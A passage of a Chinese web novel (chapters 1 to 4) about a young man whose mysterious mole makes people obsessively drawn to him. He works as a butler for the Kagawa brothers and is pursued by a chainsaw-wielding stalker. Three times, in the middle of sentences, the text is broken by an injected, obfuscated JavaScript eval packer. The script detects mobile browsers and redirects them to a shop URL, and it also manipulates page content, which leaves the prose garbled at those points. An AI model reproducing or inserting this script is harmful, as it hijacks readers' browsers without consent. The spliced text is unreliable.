《[富江]变成富江体质之后》 1. 第 1 章 自从来到香川家做管家,青山悠真最近的生活总算回归平静。 这种久违的平静自从他上高中之后就很久没有过了。说来很奇怪,高中之前他一直是个边缘人,偶尔也会有周围人抱怨“青山同学真是阴郁啊”“一点也不会读空气呢”“青山同学从小到大都生活在真空世界吗”之类的。为此悠真苦恼过,但没有想到高中之后的日子让他觉得还不如当个边缘人。 高一时他发了一场高烧,眼角下莫名长出一颗黑色的小痣,他一开始以为是沾上了什么脏东西,用手搓揉之后那个黑点依然黏在皮肤上,仿佛在嘲笑他一样,从那以后他就好像觉醒了什么了不得的体质。 同学老师甚至陌生人看他的眼神越来越奇怪,他们总是会对他抱有一些莫名的好感,有的时候这种好感会超越正常范围,让他苦恼。 “我可以买下青山同学用过的笔吗?” “这学期我想坐青山同学旁边,青山同学不会拒绝吧?” “这是我亲手做的便当哦,请青山同学收下。” ………… 这些“示好”越演越烈,变成了: “除了笔之外,青山同学的校服扣子、眼镜、还有头发和指甲……我都想要。”一只手伸过来扯断他衣服上的扣子。 “我都坐在青山同学身边了,青山同学就应该只看我一个人啊!好想……好想把青山同学的眼睛挖下来只看着我。”隔壁的同学指甲划在桌面上发出可怕的声音。 “吃下去!为什么不吃我做的便当!为什么?就算沾了血也要吃啊,青山同学今天不太乖哦。”爱心便当上贴着某种“能让两个人永远在一起”的血红色符纸。 …… 人们对他诡异的好感总会演变成一场场暴动,闹的学校不安宁。他已经数不清自己在柜子里藏了几次却还是会被拖出,他们亲吻他的手指,不顾他的意愿在他的皮肤留下黏糊糊的涎水,悠真抖得厉害,却不敢拒绝,拒绝会引来更剧烈的反扑,他只能强忍着接受。 悠真本来就是社会资助生,为了维持正常的学校秩序校长准备开除他,可在找他谈过话之后莫名转变了态度。 “青山,不是你的错。”校长微笑着:“青山不会有任何错,错的是他们。” 这突然转变的态度根本让人一点都高兴不起来好吗?尤其是后来围绕着他的同学接二连三地被转走。 ……呜呜呜呜,可怕,真的好可怕。 他战战兢兢度过了高中生活,考上了早侗大学。 再后来连从小到大居住的百合福利园都待不下去了,园长田中女士很抱歉却很坚定地对他说:“悠真,你从小在这里长大,我本不想这么快请你搬出去,但你应该也知道你已经不适合居住在百合园了。” 悠真垂下脑袋:“是因为前几天收到的几十封情书吗?” 几天之前百合园的信箱被塞满了,管理员打开之后涌出的信封掉落了一地,除了几封是关于社会好心人士的资助之外,其他全是给悠真的情书。 有感情充沛的诉衷肠,还有一些疯疯癫癫的极端威胁。这些给百合园的其他孩子和工作人员带来了隐患。 田中理子摇头:“被塞满的邮箱只是其中一个原因。我已经和一位朋友联系过了,我会帮你写一封推荐信,香川家正好缺一位管家,而你的家政课成绩很不错,这份工作会给你带来丰厚的薪水去负担你的学业和生活,你也能轻松很多,不需要再额外打零工。” 悠真吸了一下鼻子,他看起来好像要哭了,但就连泪眼婆娑的神情都那样可爱:“田中园长,难道……难道我是个大麻烦吗?” 田中理子摸了摸他的头发:“你只是太受欢迎了,悠真,有的时候太受欢迎也会带来很大的危机,对吗。” 田中理子的眼眸闪烁了一下,惊讶地发觉自己也在不经意中陷入了对方那双浮着一层水渍的眼眸中。明明……明明悠真看起来这么怯懦、瘦弱……完全不符合她个人对于男性的审美,但奇怪的是她无法否认悠真的魅力,尤其是那双眼睛,看久了好像会陷进去一样。 田中理子赶快移开目光,她用了将脚从淤泥里拔出来的力气才成功脱离开:“悠真,以后戴上眼镜吧。” “我……”悠真张了张嘴巴,大约明白田中园长的意思,他想说些什么,可最后却颓然地垂下脑袋,将自己的一双眼睛藏在厚长的刘海下,乖乖说了句:“我知道了,田中园长。” 公交车行驶了三个多小时进入久诹山,春天的久诹山樱花烂漫,但却没什么游客,只因这里的土地大多为私人所有,属于香川家族。 进山之后公交车也只行驶了一小段就停下了,悠真提着行李箱下了车。 此时的他早已全副武装,用帽子、眼镜、口罩把自己遮掩起来,又走了十几分钟的山路,抵达一扇镂花铁门,也许是知道他要来,铁门并没有上锁,用力推能推开。但推开之后还是一段长路,树木变得更多更茂密,住在这里的香川家似乎格外注重隐私。 听说香川家族自德川时代就是名门望族,悠真在来之前从田中园长那里了解过。长居久诹山的只有香川家的三个儿子,香川律、香川遥、香川凛。 29岁的香川律在香川家族企业工作,香川遥是大学生,香川凛是高中生。 在只有几个人的地方打工总比在便利店那种人来人往的地方打工风险要小很多。 满是古树遮蔽的道路尽头是隐秘的庭院和城堡般的建筑物,悠真觉得自己也许误入了爱丽丝的仙境里,又或者是什么“被施了魔法变成野兽的王子的古堡”,他站在门口刚准备按门铃,门却自动解了锁。 他走进去却没看见人影,悠真怯生生开口:“有人吗—” “有……人吗?” “真吵!”雪白的床帘随着吹进的春分摇摆晃动,在这层轻薄的床帘之后隐约可见一个坐在窗台上的人影。人影从窗台上跳下,掀起床帘走出来,走到悠真的面前弯下腰。 “小矮人,没礼貌!好吵!” 悠真呆呆看着眼前这个模样俊秀到像女孩子但浑身上下散发着狂妄气质的少年,猜测他是香川凛。 “喂,地毯都被你弄脏了啊!脏东西,闻起来好臭。”香川凛继续抱怨。 悠真低头看着脚下踩着的地毯,因为走了山路的话关系他的鞋底沾了一些泥,此时这些污浊的泥被印在了价格高昂的地毯上。 悠真满怀歉意地抬头,却在视线相碰的一刹那又赶快垂下了眼帘,有很多人都是在和他眼神对视之后变得……尤为奇怪,他不想在来雇主家的第一天就惹出麻烦。 “对不起,我会弄干净的,我是青木悠真,是百合园的田中园长介绍过来的做管家的,初次见面请多关照。” 香川凛用一种高傲的眼神打量他,伸手扯了扯他脸上的口罩。突如其来的靠近和对口罩挂耳系带的粗暴拉扯让悠真有点害怕。香川凛手一松,口罩弹回悠真的脸上。 “我说,你是什么变.态吗?”香川凛嘲讽开口:“帽子眼镜口罩?哈?只有变态才会把自己的脸捂成这样吧?” 悠真:“我、我只是……” “我才不管你是什么……”香川凛往楼上走:“快去把游泳池给我处理干净放上干净的水,别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788713|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偷懒。” 个性好差……但换个思路想,香川凛至少比那些狂热追捧他的人好多了,这是一个良好的开端。 悠真:“可……可是我的房间在哪里呢?” 香川凛回眸瞪他:“啰嗦!我哪里知道你的事情!” 片刻后他突然古怪一笑:“或许……是在二楼走廊尽头那个房间。” 香川凛步伐很快,悠真完全跟不上,他消失在二楼某个房间里。按照香川凛所说,悠真来到走廊尽头的房间。 他敲了敲门,确保里面没有其他住户回应之后隐隐松了口气,慢慢推开房门。 房间里面什么都有,有宽大整洁的床和木质衣柜,看起来真的像给他准备的卧室。 悠真拎着行李走进来,打算先收拾一下行李把衣服都放进衣柜里,却在此时听见了其他声音,离他很近的地方。 这里……还有其他人吗? 按照声音来源的方向,悠真摸索过去,意外发现墙上有一部分是一扇可旋转的隐形门,隐形门轻轻一推就推开了,门后是一间书房。 书房里的人正坐在桌前,带着耳机,桌上摆放着电脑,被打扰的人抬起头看向悠真的方向,露出和刚才见到的香川叶有些相似的面孔,但他看起来稍年长,穿着合身的西装,显得成熟许多。 “抱、抱歉……我好像走错地方了。”悠真向后退,却不小心被自己的行李箱绊了一跤摔坐在地上。 好痛…… “北川先生,我这里有些‘突发状况’,关于新建游乐园的事情我们下次再讨论。” 悠真愣了愣,忘记了胳膊还在疼,只觉得这个人的声音真好听,好像有魔力一样,莫名让人觉得很安心。 他的视野里,男人摘下耳机大步走过来,面孔靠得越来越近,微笑着向他伸出手:“不起来吗?” 悠真这才发觉自己还坐在地上。 他脸红着撑着手臂站起来,为初次见面就如此失礼而尴尬。 眼前的人面容温和,拿出一张名片递给他:“你一定是田中小姐推荐来的青山君吧,实在不好意思,我忘记了你今天要来,我是香川律。” 真是充满亲和力的人啊。 悠真诚惶诚恐地接过名片,名片看起来很朴素,左下角有浅浅的压印花纹,是香川集团的标识,中间印着“香川律”的名字。 悠真惶惑地鞠了一躬:“是的,我是青山悠真,来做兼职的。” 香川律笑起来,不笑的时候他看起来还有些清冷,笑起来眼睛弯弯的不由自主地就让人想亲近:“我说,你要一直这么带着口罩说话吗?你的脸都被捂红了。” “我……”悠真犹豫了一下,出于礼貌还是把口罩摘了下来,他忐忑地看向香川律。 虽然这么说有点太过自大了,但他真的很担心从香川律的眼神中看出一些类似于“过度关注”的东西。 还好,香川律只是很正常的看着他,和那种逐渐熟悉陌生人的感觉没什么两样。他的眼神中充满平和的力量,直视悠真的双目,将他的面容记下来,仅此而已。 反倒是悠真率先不好意思的挪开了目光,低头将名片放进口袋中。 “那么,”香川律伸出一只手:“接下来一段时间要麻烦青山君了。” 悠真犹豫了一下,伸出手握住香川律那只手,又快速抽回:“请多指教。” 香川律的余光扫过那只不知因何而畏惧逃脱的手,他不觉得自己是一个会给人带来压力的人。 看着帽檐压的很低、带着黑框眼镜的青山悠真,缓缓地,他加深了一丝不易察觉的笑意。 2. 第 2 章 了解悠真走错房间的经过,香川律显得有点无奈又歉意:“凛的个性就是有点令人头疼,他搬过来之后没有一个工作人员能做超过三个月,希望你能原谅他的顽劣。” 原来如此,怪不得这样报酬丰厚的好机会能轮到他。青山悠真的不安少了许多,也意识到香川凛那种“少爷性格”就是他工作上的最大阻碍。 香川律带他找到了正确的房间,告诉他每天要做的事情,他需要保证庄园的整洁、庭院的美观、负责住在房子里的人的一日三餐、安排好出行活动、如果要举行宴会他会被提前通知到等等等等。 但这些事情并不需要悠真全部亲力亲为,庭院会有园丁整理、三餐有厨师、出行有司机、打扫有清洁员……每一项任务都有专门的工作人员,他的首要任务是保证整个庄园井然有序的运行。 “凛不喜欢家里有陌生人的气味,所有的工作人员并不会住在这里,除了你,你要负责联络好每一项工作。”香川律告诉他。 悠真一只手拿着笔一只手拿着本子,跟在香川律身后熟悉庄园的每一个角落,在记事本上飞快地记下工作要求。 要点多得他写了整整七页纸还没有记全,他听得太认真,记得也太认真,以至于香川律停下脚步时他没能及时反应过来,低着头一脑袋撞上了香川律的后背。 香川律转过身,看见悠真抬起头捂着鼻子,睁大眼睛看着他,一副受了惊吓的模样,像一只心虚的小兔子。 香川律忍不住笑出了声,咳嗽两声,正色道:“那么,青山君,你还有什么疑问吗?” 悠真放下捂住鼻子的手,露出被撞得红彤彤的鼻头,他抓了抓自己的头发,有些不安地问道:“在工作的时候,我……我可以戴上口罩吗?” “青山君很腼腆呢,”香川律和善地把手放在他的肩膀上:“只要不影响工作就可以。” 青山悠真甚至已经开始有点感激这个雇主了,香川先生可真温柔啊,脾气真好,也很包容……最重要的是,香川律是他目前见过的最正常的人类了。 所以一定要努力工作,回报香川先生,留在这里。 “只是,我很好奇,”香川律忽然弯下腰来,一双笑眼在悠真的眼前突然放大:“青山君好像很喜欢戴口罩啊,有什么非要戴口罩不可的理由吗?” 悠真:“我……我……” 要怎么说呢,说出来的话一定会被认为是奇怪的人吧,这份兼职可能也没办法再做了…… 香川律轻轻拍了一下悠真的帽檐,用开玩笑的口吻:“不想说的话不说也是可以的。” 香川先生好像看穿了他的紧张,试图用这样一个小小的举动拉近距离让他放松下来,又不会显得太热情,果然,让人觉得温柔体贴也是一种天赋,悠真心生佩服,感叹怎么会有人能做得这么恰到好处。 “香川先生,”他握紧拳头,突然抬高了一点音量:“我会全力以赴工作的!不会让香川先生失望!” 可能是声音太大了,香川律愣了一下,片刻后朗声笑起来,庭院里掺杂着花香的风缠绕在他身边,连风都要多偏心他一点。香川律的头发被吹得微微晃动,身形却依旧挺拔。 站在风中的香川先生目光停留在他的身上,仿佛能穿透玻璃镜片一直看到他心底似的:“青山君,好像是个很有趣的孩子。” 香川先生忙于工作,悠真知道不能打扰他太多时间。 他努力去适应这份管家的责任,按照电话簿上的号码联系好了“泳池清洁员”,对方表示马上就到。 地毯上的污渍他自己可以处理,就不想麻烦别人。他跪在地上用清洁剂擦着淤泥时,一双穿着运动鞋的脚停在他的手指边缘,只差一点点就要踩上他的手指。 悠真抬起头,看见香川凛那张欠揍的脸,他用手捂着鼻子,露出嫌恶的表情:“这是什么?” 悠真拿起清洁剂的瓶子:“这是地毯清洁剂。” 香川凛:“哈?你当我是傻瓜吗?我当然知道这是清洁剂,我是问这是什么味道的?” 悠真:“柠檬味的。” 在香川凛把眉头皱得更深之前,悠真赶紧解释道:“我上家政课时候的老师推荐的,这个牌子……” 这个牌子的清洁力度可是很强的。 “啰嗦!”香川凛还是打断了他的话,发脾气道:“换掉!你不知道我讨厌那些乱七八糟的味道吗?平时的清洁工都不会犯这种错误,你是故意惹我不高兴的吧?” 悠真定定看着像小孩一样生气的香川凛,想到香川律说他对气味很敏感。他原本只想着快点处理地毯上的污渍,却忘记了这一点。 他慢慢将清洁剂地瓶盖关上:“知道了,下一次我会换没有气味的。” 香川凛不依不饶:“哈,虽然表面上说知道了,但是心里一定在骂我吧?” 悠真不想再纠缠,拿起打扫工具转身向后花园走去,这个时间点泳池管理员应该也该到了。 香川凛一把扯住他的手臂,瞪着他:“你要去哪里?” 悠真无辜地看着他:“去清洗泳池,你让我做的,你忘记了吗?” 香川凛本是用力地抓着他的胳膊,不知为什么突然放松了一下,眼神一愣,往后退了一步。片刻后他反应过来,忽然有些恼羞成怒地质问:“你那是什么眼神?你不会觉得自己很可爱吧?” 觉得自己很可爱? 香川凛怎么会这么想呢? 长期处于不正常环境里的悠真并没有觉得这话有什么不妥,他只是很认真地思索了一番回答:“没有,我没有这么想过,我得去工作了。” 香川凛的手迟迟没有松开,勒在悠真的胳膊上,面色严肃,看起来在绞尽脑汁想着什么,片刻后又恢复那种刻薄模样:“我知道了,你是做了错事之后就想这么溜走,没那么容易。” 悠真满脑袋问号地看着香川凛。 “我要跟你一起去,”香川凛说:“以免你再做出一些不该做的事情。” 虽然香川凛很不好相处,但有什么问题当场指出总比事后再发现弥补要来的效率高,悠真觉得这个建议不错,不过他本来也没有能拒绝香川凛的权利。 他还没来得及说话,香川凛就抢先走到他前面并嗤之以鼻道:“慢吞吞的,你这样的人真的能好好工作吗?” 香川凛可能是忘记了他的手还拉着悠真的胳膊,一路大步向前,悠真被他扯得踉踉跄跄,几次就快要皱起眉头,就这么一路到了泳池。 清洁员已经准备好了吸污机,悠真跟着一起帮忙,香川凛什么也不做,像个监工一样在一旁注视着他们。 “河野先生,好厉害,这么快就全部处理干净了。”悠真站在泳池边,看着从清澈变得更加透明的池水。 河野不好意思地笑了笑:“因为每周都要来清洁一次泳池换上干净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788714|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的水,所以水本来也不是很脏。” 每周都要换水……泳池打理还真是麻烦啊,有钱人家的生活就是这么精致而面面俱到吗。悠真在心里感慨。 在一旁收电线的河野突然停了动作,上前两步:“青山君……你的眼睛下面是有一颗痣吗?” 陌生气息的靠近让悠真吓了一跳,他下意识偏开脑袋向后退,推了推眼镜:“……哪有……你看错了吧……” “我刚刚看的明明很清楚。”河野一边说着一边再次靠近。 又来了…… 悠真心里一紧,不敢看河野,眼神慌乱着躲避。 可河野不知道是着了什么魔,一点分寸也没有,忘记了他们只是初次见面的人,一步一步向悠真逼近:“就给我看一下就好……就一下……” 他的手越伸越近,手指细长,又因长期做工而粗糙,看起来像鹰爪一样,几乎就快要碰到悠真的身体。 悠真粗声粗气装出不悦的样子,希望能以此警告河野:“河野先生,你未免也太过分了……” 话还没说完,脚下突然一滑,失重感瞬间席卷全身,几乎没有反应的时间,整个人就栽到游泳池中。 幸好青山悠真会水,在泳池里扑腾了几下很快就稳住了身体,他抹了一把脸,将脸上水迹擦去,惊觉眼镜和口罩都在刚才摔倒的时候掉落了。 河野盯着他的眼神越来越贪婪,那是完全脱离正常人类的眼神,此时的河野受了某种邪恶生物的蛊惑,嘴角下一秒就要流出口水,令人恶心。 “悠真,悠真……”他迫不及待地就要下水:“我来帮你。” 比起让他帮忙还是自己爬起来比较安全,青山悠真当机立断拒绝这份好意:“不用,河野先生待在原地就行,我自己可以。” 悠真迅速扫视一圈,没有看见眼镜,大概是沉到水里去了。 河野根本听不懂他的拒绝,作势就要往泳池里跳,悠真以为自己的身边会炸开一朵大大的水花,下意识闭上眼睛躲避。 预想之中的水花没有飞溅,睁开眼,悠真看见香川凛扯着河野的衣领向后拖:“我说河野先生,你也把我当空气太久了吧?” 他没什么好气地接连说:“香川家付你工资不是来让你玩水的,洗干净泳池之后就快点给我换水!还有你那是什么眼神啊河野先生?你是变.态吗?看起来好恶心,你是吃饲料长大的吧。如果你不能好好工作的话就给我滚好了,香川家不缺一头蠢猪。” 在香川凛的辱骂声中,河野的眼神越来越清澈,甚至出现了一种名为羞愧的东西。 “抱……抱歉,我也不知道是怎么回事……” 河野狼狈仓促地收拾东西逃走了。 悠真站在泳池里惊讶地看着事态朝着之前从没有过的方向发展,一时忘记了要从泳池里爬出来。 香川凛侧目,看见被水打湿的悠真,好像是要为了故意遮住眼睛,悠真的头发留得很长,比一般男生都长,被水打湿之后就更长了,半长的黑发乖巧的贴在耳朵后面,露出他白皙的、被光照得半透明的耳廓。 还有柔和的面部轮廓、深色而显得神秘的瞳孔在这张脸上却显得很纯洁,以及那颗眼尾下的痣……那颗痣生来就是为了故意勾住他人的目光。 香川凛觉得不自在,龇牙咧嘴了一番,无差别攻击道:“你怎么还在水里待着,你不会以为……你不会以为自己很可爱吧!” 3. 第 3 章 春季的池水散发寒气,后知后觉地让悠真觉得冰凉。 他站定在原处,看着眼前这个能把河野给骂清醒的人,结结巴巴道:“我、我想找一下眼镜。” 香川凛:“眼镜不是就在那里吗,动作快点。” 悠真又仔细看了一圈,还是没有看到:“哪里?” 香川凛不耐烦地脱掉上身的背心和衬衫,在长期良好的运动习惯下,香川凛虽然很瘦,但有一层流畅的肌肉线条。 他像人鱼一样扎进泳池,姿态优美地游进池底,灵巧捡起悠真的黑框眼镜塞进他手中:“还不快点拿着。” 悠真:“……谢谢。” 香川凛好像也没那么讨厌。 下一秒,香川凛瞪起眼睛:“你怎么不戴上?” 悠真:“因为有水,我想擦干净之后再戴。” 香川凛低眸看着悠真湿润的眼睫毛,想了一下,莫名其妙有点烦躁,转身就走:“随你的便,戴不戴眼镜也好,要留在水里也好,总之别再来惹我心烦。” 悠真默默在心里收回刚才那句“香川凛也没有那么讨厌”。 他缓缓从泳池里爬出来,余光的位置突然感觉有什么东西闪动了一下,顺着那个方向抬起头看,城堡般的建筑庄严肃穆,楼上某个房间的窗帘无风而动,就像刚才有谁悄无声息地站在那里目睹了所有事情的经过。 悠真回房间换上干净的衣服,晚餐是在香川律的邀请下和香川家的两位兄弟一起吃的。 香川凛一边吃一边吐槽着厨师的手艺出奇得差劲。 悠真品尝着二十年来未曾吃过的珍馐美味没有说话。 香川律笑眯眯地缓和着餐桌的气氛:“青山君,上课日要用车的话你可以自行联系司机,从这里到早侗大学转车应该很麻烦,还是坐家里的车好了。” 香川凛:“早侗大学?这是什么垃圾学校?我压根没有听过。” 香川律转向他:“早就叫你多学一点常识了,凛。” 悠真笑起来,对上香川凛的目光后立刻收敛笑容,在香川凛发火之前他赶紧改换了话题:“香川遥先生……不住在这里吗?” “你说遥啊,”香川律放下刀叉,他吃得不算多:“遥最近在准备棒球赛,这一个月应该都不会回来住。” 原来如此,怪不得一直都没看见。 一天的工作结束,悠真躺在自己舒适的床上,感到惬意。 他很久没有过这么正常清静的日子了,虽然有河野的那个小插曲,但多亏了香川凛,河野被凶走了。 困意渐渐涌上来,悠真翻了个身将一半脸埋入松软的枕头,耳边忽然传来一阵窸窣的声响,他警觉地睁开眼睛,看向开了一道缝用来通风的窗户。 夜风从那道缝里钻进,声音也是从那里传进来的。 也许是感应到了他的视线,那个声音停顿了。 悠真后背发麻,像有无数蜘蛛在攀爬,他感到事情没有那么简单,不动声色地坐起身,抱着枕头来给自己增加一丁点安全感,视线一直不敢离开窗户。 片刻,一只手“啪”得一声贴上了玻璃,一个人的脑袋冒了出来:“被你发现了,悠真。” 啊啊啊啊啊啊啊啊啊啊……这是什么啊啊啊啊啊啊啊! 谁能告诉他为什么河野会出现在这里!那副夜行衣的打扮又是怎么回事! 青山悠真抱着枕头拔腿就跑,鞋子都来不及穿。 这栋漂亮城堡在此时显得过于空荡,目前加上他也不过只有三个人居住着,他不管不顾向着唯一知道位置的香川律的房间冲过去,河野也不知道进行到那里了,也许他已经翻窗户进来了,以后睡觉一定要关紧窗户! 悠真拍着香川律的门:“香川先生!香川先生!请你开一下门!拜托!” 也不知道香川律听没听到,身后的河野倒是一点也不惧怕,笑声回荡在长廊:“悠真,你跑什么?我又不会伤害你,只要你答应乖乖待在我身边,我不会对你用电锯的。” 他还带了电锯啊啊啊啊啊啊啊! 青山悠真快哭了,拍着门的速度不断加快。 “悠真!”河野声音惊喜,明显已经发现了他的位置。 他疯狂地朝着悠真跑过来,背上背着一个黑色的包裹,悠真怀疑那个包裹里装的就是电锯。 就在他感到绝望时,一只手迅速地将他拉进门内,快速锁上门。悠真惊慌未定,大口喘着气,在看清眼前香川律的同时他的眼泪也跟着一起流了下来。 “呜呜……香川先生……我不是故意要来打扰你的,河野先生爬我的窗户……呜呜……” 香川律轻轻拍着他的背,安抚着:“没关系的,我已经叫了保镖和警察,他们很快就会到了。” “真的吗?”悠真不哭了,抱着枕头,抬起泪眼婆娑的眼睛。 香川律镇定自若,完全不像一般人面对危险分子的态度。可是悠真太紧张了,以至于他忽略了这些细节。 门外的声音越来越癫狂。 “悠真,出来!悠真!” “香川,不要多管闲事!让悠真出来!” “我要用电锯了,我不想吓你的,但这是你逼迫我这么做的。” 电锯的声音响起来,一刀一刀割在人的耳膜上那样,虽然香川先生的房门材质坚固,但这样下去很快也会在河野激烈的进攻下被划破。 悠真把脸埋在枕头里,微微发抖:“你会让我出去吗,香川先生。” 怎么可能。香川律在心里面无表情的想。 悠真埋着脸耸着肩的样子这么可爱,光着的脚趾踩在他的地毯上,因为刚才的奔跑而透出鲜嫩的红色。 这样的悠真出去会被立刻吞掉的,他怎么可能会让悠真出去。 悠真没有听到香川律的回答,尤为感到不安,他从枕头里露出一双眼睛:“香川先生……” “想什么呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13788715|145868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”香川律转身走向床边,拉开床头抽屉从里面取出一把精巧的手.枪,微微一笑:“如果河野先生要闯进来,那就让他闯进来好了,我是绝不会让青山君出去的。弃人于危难之中可不是香川家的作风。” 咔哒一声,香川律给手枪上膛。 香川先生……真是帅气啊。 悠真呆呆地看着,连门外恐怖的声音都听不见了。现在的香川律在他眼里简直就是闪着光的救世主,是解救他于奇怪的水生火热生活中的不二人选。 庆幸的是香川律没有用到开.枪的机会,香川家的保镖来的非常快,以专业的身手控制住了河野,将他移送警署。 河野被押走时表情扭曲,口中大叫着悠真的名字,双目赤红,和曾经那些发狂的人看起来别无两样。 悠真一个劲地对着香川律道歉,为给他带来麻烦而深感愧疚。 香川律摸着他的脑袋:“不是你的错,非要说起来,青山君也不过才二十岁就要遇到这种程度的恐怖袭击,应该是最害怕的。要喝点温水吗?” 悠真:“我……我不能再添麻烦了,如果您要解雇我,我……我也是能理解的。” 香川律只是笑了一下,给他递来一杯温水,让他不要多想。 悠真囫囵将水吞下肚,温水酸酸甜甜好像是加了梨膏,让他紧绷的精神得到一丝丝缓解。 “恐怕你今晚一个人睡不着,就在我这里睡吧,我刚好凌晨有一个跨国会议,晚上没办法睡觉,床借给你用好了。我会在里面那个房间工作,如果害怕的话,就叫我吧。”香川律体贴说道。 香川律真是一个大好人、慈善家。 悠真不愿意再给这么个好人增添负担,他想拒绝,可困意来得汹涌,让他的脑袋瞬间短路了:“不、不用了……” 香川律抱着他的肩膀,带着他往床边走:“就这么定了,你好好休息。” 悠真:“谢……谢谢。” 香川律轻轻笑着:“不客气哦,青山君。” 以往这种情况,悠真会失眠整整一个晚上睡不着觉,但今天也许是香川先生的帮忙,也许是香川家的床太舒服了。 他打了一个哈欠,连自己什么时候睡着的也不知道。 香川律走到床边,看着悠真酣睡的面容。 悠真睡觉的样子很乖,会把一大半的脸藏起来,好像他自己的脸是什么见不得光的东西一样,明明是异常明丽的一张脸,却时时刻刻都要藏着。 他的手放在脸旁边,五指紧紧攥着枕头,在睡梦中他也如此紧张。 “你很特别啊,”香川律轻轻笑起来,眼睛却晦暗:“好像所有人都会被你吸引,被你诱惑,为你神魂颠倒失去理智,而你……你对自己的处境没有一个正确的判断,也丝毫不会运用自身魅力。背负原罪的人竟然能活得这么幼稚。” 他的食指覆盖上悠真眼尾下方钢笔墨渍一样的小点,轻轻摩擦:“就连我也……” 4. 第 4 章 “就连我也……”细微之声隐没于黑夜中,将内心所想掩盖。 被电锯弄破损的房门露出缝隙,经过此处的香川凛停下脚步,讶异地看向损毁的门,视线从缝隙中探入室内。 床边的人敏锐洞悉这份探究,一回头,四目相对。 两人什么也没说,香川凛感到有些别扭,扭开头径直回到自己的房间,香川律没什么表情,重新将目光投放在床上睡着的人身上。 悠真睡了一场好觉,醒来之后昨天晚上的恐惧已经消减大半。 像河野先生所做的这种事情在他身上时有发生,只是程度不同而已。但被人保护的经历……还是第一次,对于悠真而言是一种……全新的体验。 香川凛真是个迟钝的人,昨晚发生的事情他似乎一无所知。 “什么?河野从窗户爬上来了?原来他不是猪啊,他根本就是猴子嘛猴子。不过他爬上来要干什么?”早餐桌上的香川凛犀利发问。 昨天晚上声音那么大,香川凛竟然一点没听到,他的睡眠质量可真好。 悠真把头埋得很低,快低到桌上去了。香川律只是笑笑:“凛,多吃点早餐。” 香川凛的目光在两人之间徘徊,定格到悠真身上:“是因为你吧,是因为你在泳池的时候一个劲的勾引他所以他才会来找你吧?我说乌龟,你也太会给人惹麻烦了吧?” 乌龟……悠真后知后觉这个称呼是香川凛用来叫他的。 他从桌上抬起头看着香川凛,本来已经恢复良好的情绪在瞬间又感到委屈。他也不想的,他已经努力在把自己藏起来了。 香川凛用筷子把面前的煎蛋搅得乱七八糟:“乌龟你真是会没事找事,我看你还是自觉一点主动递个辞呈什么的……” “凛,你的话太多了。”香川律看向他,含着明显的制止意味。 香川凛自讨没趣地抿了下唇,将筷子大力地摔在餐盘里,站起来踢了一下椅子,转身上了楼。 悠真坐在位置上,不知道该不该继续吃饭。 香川律微笑着,手向他伸过去掌心向上:“再要点牛奶吗?” 悠真受宠若惊地将玻璃杯递给他:“一点点就好。” 刚才香川凛带来的忐忑在香川律的友善对待下被安抚。明明才是来到这里第二天,青山悠真已经不记得这是第几次他为自己在香川家工作而感到庆幸。 他收拾好东西坐上司机斋藤大叔的车,惊讶地发现香川凛也在车内,此时的香川凛换上了高中制服,海军蓝的背心里面领带系得一丝不苟,连头发也变成了顺毛,完全就是一副好学生的打扮。 “你看什么啊?”香川凛没好气地说:“快点上车,不要耽误我的时间。” 悠真快速地坐上车。 可能这幅好孩子样子被看到,香川凛觉得丢脸,一路上始终看着窗外。悠真偷偷用余光看他,不良少年爆改乖学生……悠真垂下眼睛笑了起来。 香川凛无奈地瞥了他一眼:“有什么好笑的。” 悠真:“不是……只是第一次看你穿成这样,校服很好看,真的。” “谁问你好不好看了,真是的,不要自作主张地随便回答。”香川凛转过头,烦躁地拽着领带,将本来穿得整齐的领带弄歪:“麻烦,要不是越谷那个混蛋威胁要开除我,我根本不用守这些破规矩。” 悠真:“越谷是谁?” 一直在开车的斋藤大叔透过后视镜看了一眼坐在后面的两个人,笑眯眯地:“越谷先生是凛少爷的班主任,貌似是一个狠角色呢。凛少爷,这已经是你换的第六个高中了,这次要努力坚持到毕业呐。” 悠真下意识噗嗤一声笑出来:“你是什么退学专业户吗,第六个高中?难道你天天和人打架吗?” 笑过之后悠真意识到自己这个反应也许会激怒香川凛,他赶紧收敛了笑容有点担心地看向对方,却发现香川凛只是一动不动地皱着眉头盯着他看。 害怕被人盯住的悠真立刻躲开他的眼神,换了个话题:“你……你现在上的是哪所高中?” 香川凛没回答他的话,反而抬起手就要往悠真脸上去,悠真以为香川凛要做出什么暴力行为,害怕地缩了一下脖子,却发现对方只不过是把他的口罩往上面拽了拽,一直拽到眼睛底下,几乎遮住了大半张脸。 